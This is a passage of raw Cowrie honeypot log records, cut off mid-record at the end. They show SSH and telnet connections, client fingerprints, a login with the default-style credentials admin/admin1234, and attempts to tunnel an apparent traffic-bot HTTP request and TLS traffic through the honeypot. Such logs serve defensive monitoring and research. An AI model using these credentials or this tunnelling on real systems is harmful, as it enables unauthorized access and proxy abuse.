{"eventid":"cowrie.client.kex","hassh":"0425c279610910d2d9aef3b285e59b86","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,rsa2048-sha256,rsa1024-sha1,diffie-hellman-group1-sha1;aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-ctr,aes192-cbc,aes128-ctr,aes128-cbc,chacha20-poly1305@openssh.com,blowfish-ctr,blowfish-cbc,3des-ctr,3des-cbc,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-sha2-256-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com;none,zlib","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","rsa2048-sha256","rsa1024-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss"],"encCS":["aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-ctr","aes192-cbc","aes128-ctr","aes128-cbc","chacha20-poly1305@openssh.com","blowfish-ctr","blowfish-cbc","3des-ctr","3des-cbc","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-sha2-256-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com"],"compCS":["none","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: 0425c279610910d2d9aef3b285e59b86","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:16:07.587310Z","src_ip":"123.27.168.40","session":"c697984001be","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin1234","message":"login attempt [admin/admin1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:16:08.681447Z","src_ip":"123.27.168.40","session":"c697984001be","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"159.65.2.87","dst_port":80,"src_ip":"123.27.168.40","src_port":0,"message":"direct-tcp connection request to 159.65.2.87:80 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:16:09.163919Z","session":"c697984001be","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"172.67.133.8","dst_port":443,"src_ip":"123.27.168.40","src_port":0,"message":"direct-tcp connection request to 172.67.133.8:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:16:09.316236Z","session":"c697984001be","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"159.65.2.87","dst_port":80,"ja4h":"po11nn10enus_0af5a74ca4c0_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to 159.65.2.87:80: po11nn10enus_0af5a74ca4c0_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:16:09.403321Z","src_ip":"123.27.168.40","session":"c697984001be","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"159.65.2.87","dst_port":80,"data":"b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nConnection: keep-alive\\r\\nContent-Length: 1182\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nAccept-Language: en-US\\r\\nUser-Agent: Mozilla/5.0 (Linux; Android 11; SM-M127F) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.101 Mobile Safari/537.36\\r\\nOrigin: http://api.9hits.com\\r\\nAccept-Encoding: gzip, deflate\\r\\n\\r\\n_=TX0mNEwpcWl1eTlRYVFRUQ%3D%3Durmb1yTs5RE1XnObwQBuZixCgq83beAYDSztQIhpReR%2B%2BerNJtnLdfGJH5A9v%2Fk64FACol8ek0zBPgS4fHWQFfbAaHdS1%2B1GWaf%2BOEaYL%2FEGXsk%2FpU%2BZ%2FSxf%2FEZVn4a2AJebEwPq6ytKSlPhsKNxkGYi2OAtpSt%2FZbUvtETFxP9PiU%2BFwviAJ75ecF1S2GSVjOOVa7jeyJqFK4oEU5zhtsoPtiw39%2BfFy4MIGmzXoeOJHbEJsEyiT%2BJd2wZS6TqnDqw5W55iaTcNbnyx1vj7yWVKwuEkrm6RyS6B4Rl4b8MhjoQEC6Nde59a9i89sZkMgZJRoI8kpiSQqd%2B6bPFEBU1Q%2FgJpmJw823pnuXncZ%2FX%2BvQeEI3aK16IcjVBI1SaqEC8GDIhYKLqaywdnEfu8b8Ubc10HyeIyxUoOYqlGaYgZY0grPn4tWwmQxrlzJixNTcZugiR%2FaXH1jPs1xW56kXOrIvULTDZQ9s7xsiiS0A6xAokaZPme4KU4DUgfu5Ny8aUT7FwTY3jiCAQAlTfxtqViPkUCkf3K69QaiX3boVIu4Vd8jmHiRoggQcyAc7tx91VIxQQZsnIrb7AI1i3VrQB13CbmribasKHYPPjuUfUrgFSDz6AiYi4OICjI%2BAe989%2BtaB%2FWE6xvK6xkQGGJi8XH%2F1MzMRbxQXx4P2C0HMQNus2qX2NvBj6t%2FZNj6D7SADdph6hosP9zCcREt89yR0iLU4UWwPFKJQtUbD19IeuH2DyDYXHLdD9YYgY%2BK6MXGIEuoDChrvTgXZpOaC%2FY%2FKoBGXYdtn0cjHxLSzJszP0TTiHhz53oE5BRwCoE5a1vily5P4Q%2BtDPKCsdKoMVAgIYc1fiUugay4opinLX6h93gcoKJZAK2NESV3sKaAVi%2F6mgFBw6TUGK3QG0UpsZ7j663Q3GGrkcI61jfDWm9fDx1vvF5eSmNc4u8qOSdbWx3Qqo35gkUlfDOmvCEHJzDj9alqccNqcNSJSBBlMgJg%2BGnCLHLfedqza0I6B%2FlW0ma50LsEGYN5pgyPoYJjy2IvROMIL9BlFmnjY2QvzML9tdV9%2FQ7Zio9xhQwlrM9ok2P'","id":0,"message":"discarded direct-tcp forward request 0 to 159.65.2.87:80 with data b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nConnection: keep-alive\\r\\nContent-Length: 1182\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nAccept-Language: en-US\\r\\nUser-Agent: Mozilla/5.0 (Linux; Android 11; SM-M127F) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.101 Mobile Safari/537.36\\r\\nOrigin: http://api.9hits.com\\r\\nAccept-Encoding: gzip, deflate\\r\\n\\r\\n_=TX0mNEwpcWl1eTlRYVFRUQ%3D%3Durmb1yTs5RE1XnObwQBuZixCgq83beAYDSztQIhpReR%2B%2BerNJtnLdfGJH5A9v%2Fk64FACol8ek0zBPgS4fHWQFfbAaHdS1%2B1GWaf%2BOEaYL%2FEGXsk%2FpU%2BZ%2FSxf%2FEZVn4a2AJebEwPq6ytKSlPhsKNxkGYi2OAtpSt%2FZbUvtETFxP9PiU%2BFwviAJ75ecF1S2GSVjOOVa7jeyJqFK4oEU5zhtsoPtiw39%2BfFy4MIGmzXoeOJHbEJsEyiT%2BJd2wZS6TqnDqw5W55iaTcNbnyx1vj7yWVKwuEkrm6RyS6B4Rl4b8MhjoQEC6Nde59a9i89sZkMgZJRoI8kpiSQqd%2B6bPFEBU1Q%2FgJpmJw823pnuXncZ%2FX%2BvQeEI3aK16IcjVBI1SaqEC8GDIhYKLqaywdnEfu8b8Ubc10HyeIyxUoOYqlGaYgZY0grPn4tWwmQxrlzJixNTcZugiR%2FaXH1jPs1xW56kXOrIvULTDZQ9s7xsiiS0A6xAokaZPme4KU4DUgfu5Ny8aUT7FwTY3jiCAQAlTfxtqViPkUCkf3K69QaiX3boVIu4Vd8jmHiRoggQcyAc7tx91VIxQQZsnIrb7AI1i3VrQB13CbmribasKHYPPjuUfUrgFSDz6AiYi4OICjI%2BAe989%2BtaB%2FWE6xvK6xkQGGJi8XH%2F1MzMRbxQXx4P2C0HMQNus2qX2NvBj6t%2FZNj6D7SADdph6hosP9zCcREt89yR0iLU4UWwPFKJQtUbD19IeuH2DyDYXHLdD9YYgY%2BK6MXGIEuoDChrvTgXZpOaC%2FY%2FKoBGXYdtn0cjHxLSzJszP0TTiHhz53oE5BRwCoE5a1vily5P4Q%2BtDPKCsdKoMVAgIYc1fiUugay4opinLX6h93gcoKJZAK2NESV3sKaAVi%2F6mgFBw6TUGK3QG0UpsZ7j663Q3GGrkcI61jfDWm9fDx1vvF5eSmNc4u8qOSdbWx3Qqo35gkUlfDOmvCEHJzDj9alqccNqcNSJSBBlMgJg%2BGnCLHLfedqza0I6B%2FlW0ma50LsEGYN5pgyPoYJjy2IvROMIL9BlFmnjY2QvzML9tdV9%2FQ7Zio9xhQwlrM9ok2P'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:16:09.406717Z","src_ip":"123.27.168.40","session":"c697984001be","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"172.67.133.8","dst_port":443,"ja4":"t12d1515h2_8daaf6152771_5563d4852cd1","message":"JA4 fingerprint for forwarded TLS to 172.67.133.8:443: t12d1515h2_8daaf6152771_5563d4852cd1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:16:09.636510Z","src_ip":"123.27.168.40","session":"c697984001be","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"172.67.133.8","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03tX,d\\xe7L\\xb8\\x15hDl\\xf5)\\x92\\xe3\\xee\\xc7\\'\\xcd\\xa7\\xba\\xa9\\xbe\\x96\\xb0~\\\\\\xf9 \\xd97\\x87 D\\xb9\\x898z\\xcaA09\\xd5^\\xe3\\xc5a\\x86\\xb2\\xd7\\xc3\\xa0\\x03\\x89b]\\xaf\\xfd\\x13\\xef \"\\xa5\\xaa\\x1b\\x00 JJ\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\xda\\xda\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xba\\xba\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xba\\xba\\x00\\x01\\x00\\x00\\x1d\\x00 \\xeb\\xba\\xa0\\x8d\\xebG\\xe4\\xc0\\xfb7\\xe1\\xacn\\xb6\\xcb\\xdf\\xe6\\x9e\\x86\\xe3 \\xce\\xed\\x9d\\x12\\xad\\xb5\\x1a \\x1c`w\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\nzz\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02zz\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":1,"message":"discarded direct-tcp forward request 1 to 172.67.133.8:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03tX,d\\xe7L\\xb8\\x15hDl\\xf5)\\x92\\xe3\\xee\\xc7\\'\\xcd\\xa7\\xba\\xa9\\xbe\\x96\\xb0~\\\\\\xf9 \\xd97\\x87 D\\xb9\\x898z\\xcaA09\\xd5^\\xe3\\xc5a\\x86\\xb2\\xd7\\xc3\\xa0\\x03\\x89b]\\xaf\\xfd\\x13\\xef \"\\xa5\\xaa\\x1b\\x00 JJ\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\xda\\xda\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xba\\xba\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xba\\xba\\x00\\x01\\x00\\x00\\x1d\\x00 \\xeb\\xba\\xa0\\x8d\\xebG\\xe4\\xc0\\xfb7\\xe1\\xacn\\xb6\\xcb\\xdf\\xe6\\x9e\\x86\\xe3 \\xce\\xed\\x9d\\x12\\xad\\xb5\\x1a \\x1c`w\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\nzz\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02zz\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:16:09.639750Z","src_ip":"123.27.168.40","session":"c697984001be","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"172.67.133.8","dst_port":443,"src_ip":"123.27.168.40","src_port":0,"message":"direct-tcp connection request to 172.67.133.8:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:16:10.113494Z","session":"c697984001be","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"172.67.133.8","dst_port":443,"ja4":"t12d1615h2_46e7e9700bed_cadd4ee51f0b","message":"JA4 fingerprint for forwarded TLS to 172.67.133.8:443: t12d1615h2_46e7e9700bed_cadd4ee51f0b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:16:10.351727Z","src_ip":"123.27.168.40","session":"c697984001be","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"172.67.133.8","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\x15\\x16\\xb8\\xf4\\\\\\x93u\\xc6+\\xc1f\\x10C\\xd5>\\x8f\\xffbNY\\xf8\\xcb\\xf4Y\\xd4\\x9b\\x1b=\\x81\\xdf\\xe7\\x9d s\\xa2!\\x11\\x80\\xe0\\t\\xc1\\xd7c\\xfeQ\\nJ-\\xe2=\\x90\\xbc\\xa5\\x94\\xdb\\x9c`B>A9d\\x9d\\'\\x1a\\x00\"\\xda\\xda\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\xba\\xba\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08::\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)::\\x00\\x01\\x00\\x00\\x1d\\x00 \\xf1\\x18\\xfa6Y\\x99\\x9f\\xcfn\\x85>\\xa1\\xf6\\x06UQZ\\xbcGK\\t\\x8eMd\\x16p\\x0e\\x0ebzi\\x7f\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xaa\\xaa\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02::\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":2,"message":"discarded direct-tcp forward request 2 to 172.67.133.8:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\x15\\x16\\xb8\\xf4\\\\\\x93u\\xc6+\\xc1f\\x10C\\xd5>\\x8f\\xffbNY\\xf8\\xcb\\xf4Y\\xd4\\x9b\\x1b=\\x81\\xdf\\xe7\\x9d s\\xa2!\\x11\\x80\\xe0\\t\\xc1\\xd7c\\xfeQ\\nJ-\\xe2=\\x90\\xbc\\xa5\\x94\\xdb\\x9c`B>A9d\\x9d\\'\\x1a\\x00\"\\xda\\xda\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\xba\\xba\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08::\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)::\\x00\\x01\\x00\\x00\\x1d\\x00 \\xf1\\x18\\xfa6Y\\x99\\x9f\\xcfn\\x85>\\xa1\\xf6\\x06UQZ\\xbcGK\\t\\x8eMd\\x16p\\x0e\\x0ebzi\\x7f\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xaa\\xaa\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02::\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:16:10.356816Z","src_ip":"123.27.168.40","session":"c697984001be","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.9","message":"Connection lost after 3.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:16:11.211927Z","src_ip":"123.27.168.40","session":"c697984001be","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":53104,"dst_ip":"159.203.135.109","dst_port":23,"session":"0411590f61e4","protocol":"telnet","message":"New connection: 172.81.62.90:53104 (159.203.135.109:23) [session: 0411590f61e4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:16:36.196494Z"}
{"eventid":"cowrie.session.connect","src_ip":"37.233.85.71","src_port":45358,"dst_ip":"159.203.135.109","dst_port":22,"session":"2d7df66b18f9","protocol":"ssh","message":"New connection: 37.233.85.71:45358 (159.203.135.109:22) [session: 2d7df66b18f9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:16:39.390057Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:16:39.393648Z","src_ip":"37.233.85.71","session":"2d7df66b18f9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.co